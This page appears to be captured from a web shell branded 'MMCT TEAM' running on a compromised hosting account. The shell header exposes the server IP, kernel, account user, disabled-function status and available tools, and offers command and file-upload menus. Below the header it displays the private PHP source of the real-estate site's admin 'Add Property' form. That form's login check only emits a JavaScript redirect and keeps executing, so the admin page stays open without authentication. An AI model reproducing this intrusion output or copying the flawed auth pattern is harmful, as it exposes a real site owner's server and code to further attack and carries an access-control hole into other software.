MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 3.128.160.111
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home1/a1673wkz/propstonerealty.com/Admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home1/a1673wkz/propstonerealty.com/Admin/add_property.php
<?php
session_start();
if (empty($_SESSION['username'])) {
    echo '<script>window.location.href="login.php"</script>';
}
?>
<!DOCTYPE html>
<html>
<?php //header link
include("header_link.php"); ?>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui@4.0/dist/fancybox.css" />
<link href="https://cdn.jsdelivr.net/npm/summernote@0.8.18/dist/summernote-bs4.min.css" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css" rel="stylesheet" />

<body>
    <?php
    //database file link
    include("config.php");
    ?>
    <?php
    // header
    include("header.php");
    ?>
    <!-- Main Wrapper -->
    <div class="main-wrapper">
        <!-- Page Wrapper -->
        <div class="page-wrapper">
            <!-- Page Content -->
            <div class="content container-fluid">
                <!-- Page Header -->
                <div class="page-header">
                    <div class="row align-items-center">
                        <div class="col">
                            <h3 class="page-title">Add Property</h3>
                            <ul class="breadcrumb">
                                <li class="breadcrumb-item"><a href="index.html">Dashboard</a></li>
                                <li class="breadcrumb-item active">Add Property</li>
                            </ul>
                        </div>
                        <div class="col-auto float-right ml-auto">
                            <a href="property.php" class="btn add-btn"><i class="fa fa-eye"></i> View Property</a>
                        </div>
                    </div>
                </div>


                <!-- /Page Header -->
                <script src="js/jquery-3.2.1.min.js"></script>
                <div class="row">
                    <div class="col-md-12">
                        <div class="card">
                            <div class="card-body">
                                <form id="add_property" enctype="multipart/form-data">
                                   
                                    <div class="row">
                                        <div class="col-sm-6">
                                            <div class="form-group">
                                                <label>Location <span class="text-danger">*</span></label>
                                                <select class="form-control" aria-label="Default select example" id="location" name="location">
                                                    <option selected>Select Location</option>
                                                    <?php
                                                    $fetch = $obj->fetch('SELECT * from brand');
                                                    foreach ($fetch as $val) {
                                                    ?>
                                                        <option value="<?php echo $val['id'] ?>"><?php echo $val['brand'] ?></option>

                                                    <?php } ?>
                                                </select>
                                            </div>
                                        </div>
                                        <div class="col-sm-6">
                                            <div class="form-group">
                                                <label>Sub Location <span class="text-danger">*</span></label>
                                                <select class="form-control" aria-label="Default select example" id="sub_location" name="sub_location">
                                                </select>
                                            </div>
                                        </div>
                                    </div>

                                    <div class="row">
                                        <div class="col-sm-6">
                                            <div class="form-group">
                                                <label>Property Type<span class="text-danger">*</span></label>
                                                <select class="form-control pro_cat" id="pro_cat"  name="pro_cat">
                                                    <option value="">Select Type</option>
                                                    <?php
                                                    $sel_pro=$obj->fetch("SELECT * FROM pro_category");
                                                    foreach($sel_pro as $val_pro)
                                                    {
                                                    ?>
                                                   <option value="<?php echo $val_pro['id']; ?>"><?php echo $val_pro['category']; ?></option>
                                                   <?php } ?>
                                                </select>
                                            </div>
                                        </div>
                                        <div class="col-sm-6">
                                            <div class="form-group bhk">
                                                <label>BHK <span class="text-danger">*</span></label>
                                                <select class="form-control mulsel" id="bhk"  name="bhk[]" multiple>
                                                    <?php
                                                    $sel_bhk=$obj->fetch("SELECT * FROM year");
                                                    foreach($sel_bhk as $val_bhk)
                                                    {
                                                    ?>
                                                   <option value="<?php echo $val_bhk['year']; ?>"><?php echo $val_bhk['year']; ?> BHK</option>
                                                   <?php } ?>
                                                </select>
                                            </div>
                                            <div class="form-group sq" style="display:none">
                                                <label>Sq.ft.</label>
                                                <input type="text" class="form-control" name="sq">
                                            </div>
                                            <div class="form-group sq" style="display:none">
                                                <label>Commercial Type</label>
                                                <select name="comm_type" name="form-control">
                                                    <option value="Commercial Office Space">Commercial Office Space</option>
                                                    <option value="Commercial Shop">Commercial Shop</option>
                                                </select>
                                            </div>
                                        </div>
                                       
                                    </div>
                                    <div class="row">
                                         <div class="col-sm-6">
                                            <div class="form-group">
                                                <label>Property Status <span class="text-danger">*</span></label>
                                                <select class="form-control" id="pro_type" name="pro_type">
                                                    <option value="">Select Property Type</option>
                                                    <option  value="For Rent">For Rent</option>
                                                    <option  value="For Buy">For Buy</option>
                                                </select>
                                            </div>
                                        </div>
                                        <div class="col-sm-6">
                                            <div class="form-group">
                                                <label>Status <span class="text-danger">*</span></label>
                                                <select class="form-control mulsel" id="status" name="status[]" multiple>
                                                    <option value="">Select Status</option>
                                                    <option value="Ready To Move">Ready To Move</option>
                                                    <option value="Under Construction">Under Construction</option>
                                                    <option value="New Launch">New Launch</option>
                                                    <option value="Resale">Resale</option>
                                                    <option value="Signature">Signature</option>
                                                </select>
                                            </div>
                                        </div>
                                    </div>

                                 
                                    

                                    <div class="form-group">
                                        <label>Property name<span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="pro_name" id="pro_name" />
                                    </div>
                                    <div class="form-group">
                                        <label>Company name<span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="company" id="company" />
                                    </div>
                                    <div class="form-group">
                                        <label>Total Area(sq.ft.)<span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="area" id="area" />
                                    </div>
                                    <div class="form-group">
                                        <label>Property Full Address <span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="pro_full_ads" id="price" />
                                    </div>
                                    <div class="form-group">
                                        <label>Min Price <span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="min_price"/>
                                    </div>
                                    <div class="form-group">
                                        <label>Max Price <span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="max_price"/>
                                    </div>
                                        <div class="form-group">
                                            <label>Project Overview <span class="text-danger">*</span></label>
                                            <textarea class="form-control summernote" name="pro_overview"></textarea>
                                            <span class="des" style="color: red;"></span>
                                        </div>
                                        <div class="form-group">
                                            <label>Description <span class="text-danger">*</span></label>
                                            <textarea class="form-control summernote" name="description"></textarea>
                                            <span class="des" style="color: red;"></span>
                                        </div>
                                        <div class="form-group">
                                            <label>Location Advantage <span class="text-danger">*</span></label>
                                            <textarea class="form-control summernote" name="details"></textarea>
                                            <span class="des" style="color: red;"></span>
                                        </div>

                                        <div class="form-group">
                                            <label>Amenities <span class="text-danger">*</span></label>
                                           <select class="form-control" id="framework" multiple name="amenities[]">
                                               
                                           </select>
                                            <span class="des" style="color: red;"></span>
                                        </div>
                                        
                                        <div class="form-group">
                                            <label>Apartment Amenities <span class="text-danger">*</span></label>
                                           <select class="form-control" id="framework1" multiple name="ameniti_aprt[]">
                                               
                                           </select>
                                            <span class="des" style="color: red;"></span>
                                        </div>

                                        <div class="form-group">
                                            <label>Payment Plan <span class="text-danger">*</span></label>
                                            <textarea class="form-control summernote" name="payment_plan"></textarea>
                                            <span class="des" style="color: red;"></span>
                                        </div>
                                         <div class="form-group">
                                            <label>Specification</label>
                                            <textarea class="form-control summernote" name="specification"></textarea>
                                            <span class="des" style="color: red;"></span>
                                        </div>
                                    <div class="form-group">
                                        <label>Floor Plan <span class="text-danger">*</span></label>
                                        <input type="file" class="form-control" name="floor_plan[]" multiple>
                                        <span class="des" style="color: red;"></span>
                                    </div>
                                    <div class="form-group d-none">
                                        <label>Location Map Iframe</label>
                                        <input type="text" class="form-control" name="loc_map">
                                        <span class="des" style="color: red;"></span>
                                    </div>
                                    <div class="form-group">
                                        <label>Video Link</label>
                                        <input type="text" class="form-control" name="video_link">
                                        <span class="des" style="color: red;"></span>
                                    </div>
                                    <div class="form-group">
                                        <label>Upload Brochure </label>
                                        <input type="file" class="form-control" name="brochure">
                                        <span class="des" style="color: red;"></span>
                                    </div>
                                    
                                    <div class="form-group">
                                        <label>Image <span class="text-danger">*</span></label>
                                        <input class="form-control" type="file" name="image[]" id="image" />
                                        <span class="image" style="color: red;"></span>
                                    </div>
                                    <div id="row"></div>
                                    <div class="submit-section">
                                        <a href="javascript:void(0)" class="btn btn-primary" id="add">+</a>
                                        <input type="hidden" name="total_item" id="total_item" value="1">
                                        <button type="submit" name="edit" class="btn btn-primary submit-btn" id="submit">Submit</button>
                                    </div>
                                </form>
                                <div class="txt-msg"></div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <!-- /Page Content -->
        </div>
    </div>
    <?php
    //footer link
    include("footer_link.php");

    //footer
    include("footer.php");

    ?>
</body>

</html>
<script type="text/javascript">
    $(document).ready(function(e) {
        // Submit form data via Ajax
        $("#add_property").on("submit", function(e) {
            e.preventDefault();
            $.ajax({
                type: "POST",
                url: "add_property_form.php",
                data: new FormData(this),
                contentType: false,
                cache: false,
                processData: false,
                  beforeSend: function(){
                    $('#submit').html('<i class="fa fa-circle-o-notch fa-spin"></i> Uploading');
                },
                success: function(data) {
                    //console.log(response);

                    // var mydata = JSON.parse(response);
                    //alert(data);
                    // console.log(response.message);
                    $('#submit').html('Submit');
                    $(".txt-msg").html(data);
                    // setTimeout(function () {
                    //setTimeout(location.reload.bind(location), 1500);

                    // if(response.status == 1){
                    //     $('#fupForm')[0].reset();
                    //     $('.statusMsg').html('<p class="alert alert-success">'+response.message+'</p>');
                    // }else{
                    //     $('.statusMsg').html('<p class="alert alert-danger">'+response.message+'</p>');
                    // }
                    // $('#fupForm').css("opacity","");
                    // $(".submitBtn").removeAttr("disabled");
                },
            });
        });
    });
</script>

<script type="text/javascript">
    $(".file").on("change", function(e) {
        e.preventDefault();
        var src = URL.createObjectURL(event.target.files[0]);
        //alert(src);
        $(".img").prop("src", src);
    });
</script>

<script>
    $(document).ready(function() {
        var count = $('.total_img').val();
        $("#add_input").on("click", function() {
            count++;
            $('.total_img').val(count);
            var html_code = '';
            html_code += '<div class="form-group" id="ro_input' + count + '">';
            html_code += '<label>Image</label>';
            html_code += '<div style="width:100%;display:flex;">';
            html_code += '<input class="form-control" type="file" name="img[]" data-srno="' + count + '" id="image' + count + '" style="width:90%;">';
            html_code += '<span class="btn btn-danger remove_row" style="width:10%;" id="' + count + '"><i class="fa fa-remove" style="padding-top:8px;"></i></span>';
            html_code += '</div>';
            html_code += '</div>';
            $('.add_img').append(html_code);
        });
        $(document).on('click', '.remove_row', function() {
            var row_id = $(this).attr("id");
            $('#ro_input' + row_id).remove();
            count--;
            $('.total_img').val(count);
        });
    });
</script>
<script>
    $('#location').on("change", function() {
        var location = $('#location').val();
        $.ajax({
            url: "fetch-submenu.php",
            type: "POST",
            data: {
                location: location
            },
            success: function(data) {
                $('#sub_location').html(data);
            }
        })
    })
</script>
<script>
    $(".cat option").each(function() {
        $(this).siblings('[value="' + this.value + '"]').remove();
    });
</script>
<script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui@4.0/dist/fancybox.umd.js"></script>
<script src="https://cdn.jsdelivr.net/npm/summernote@0.8.18/dist/summernote-bs4.min.js"></script>
<script>
    $('.summernote').summernote();
</script>
<script type="text/javascript">
    $(".file").on("change", function(e) {
        e.preventDefault();
        var src = URL.createObjectURL(event.target.files[0]);
        //alert(src);
        $(".img").prop("src", src);
    });
</script>
<script>
    $(document).ready(function() {
        var count = 1;
        $("#add").on("click", function() {
            count++;
            $('#total_item').val(count);
            var html_code = '';
            html_code += '<div class="form-group" id="ro' + count + '">';
            html_code += '<label>Image ' + count + '</label>';
            html_code += '<div style="width:100%;display:flex;">';
            html_code += '<input class="form-control" type="file" name="image[]" data-srno="' + count + '" id="image' + count + '" style="width:90%;">';
            html_code += '<span class="btn btn-danger remove_row" style="width:10%;" id="' + count + '"><i class="fa fa-remove" style="padding-top:8px;"></i></span>';
            html_code += '</div>';
            html_code += '</div>';
            $('#row').append(html_code);
        });
        $(document).on('click', '.remove_row', function() {
            var row_id = $(this).attr("id");
            $('#ro' + row_id).remove();
            count--;
            $('#total_item').val(count);
        });
    });
</script>
<script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js"></script>
<script>
    $('.mulsel').select2();
</script>
 <script>
        $('.pro_cat').on('change',function(){
            var pro_type=$(this).val();
            //alert(pro_type);
            if(pro_type=='3')
            {
                $('.sq').show();
                $('.bhk').hide();
            }
            else
            {
                 $('.sq').hide();
                $('.bhk').show();   
            }
        })
    </script>
    <script>
    var frameworks = [
    <?php
        $ar=glob("icon/*.png");
        $cni=count((array) $ar);
        
        for($t=0;$t<$cni;$t++)
        {
            $path=pathinfo($ar[$t]);
            $extension = strtolower($path['extension']);
            echo"{";
    ?>
    
        "id":"<?php echo $path['filename'] ?>||SubName<?php echo $t; ?>||Product<?php echo $t; ?>||Desc<?php echo $t; ?>||Spec<?php echo $t; ?>||https://propstonerealty.com/Admin/<?php echo $ar[$t] ?>",
        "text":"<?php echo $path['filename'] ?>"
    
    <?php echo"},"; }?>
    ]
  
$('#framework').empty();
$("#framework").select2({
  data: frameworks,
  templateResult: format,
  templateSelection: format,
  escapeMarkup: function(m) {
    return m;
  },

  placeholder: "--Select--",
}).val(null).trigger("change");

function format(state) {
  if (!state.id) return state.text; // optgroup
  return '<img src="' + state.id.split("||")[5] + '" style="width: 20px; max-width: 100%; height: auto" title="Select icon" /> ' + state.text;
}
    </script>
    
    
    
    <script>
    var frameworks1 = [
    <?php
        $ar1=glob("icon/options/*.png");
        $cni1=count((array) $ar1);
        
        for($t1=0;$t1<$cni1;$t1++)
        {
            $path1=pathinfo($ar1[$t1]);
            $extension1 = strtolower($path1['extension']);
            echo"{";
    ?>
    
        "id":"<?php echo $path1['filename'] ?>||SubName<?php echo $t1; ?>||Product<?php echo $t1; ?>||Desc<?php echo $t1; ?>||Spec<?php echo $t1; ?>||https://propstonerealty.com/Admin/<?php echo $ar1[$t1] ?>",
        "text":"<?php echo $path1['filename'] ?>"
    
    <?php echo"},"; }?>
    ]
  
$('#framework1').empty();
$("#framework1").select2({
  data: frameworks1,
  templateResult: format1,
  templateSelection: format1,
  escapeMarkup: function(m) {
    return m;
  },

  placeholder: "--Select--",
}).val(null).trigger("change");

function format1(state) {
  if (!state.id) return state.text; // optgroup
  return '<img src="' + state.id.split("||")[5] + '" style="width: 20px; max-width: 100%; height: auto" title="Select icon" /> ' + state.text;
}
    </script>

MMCT - 2023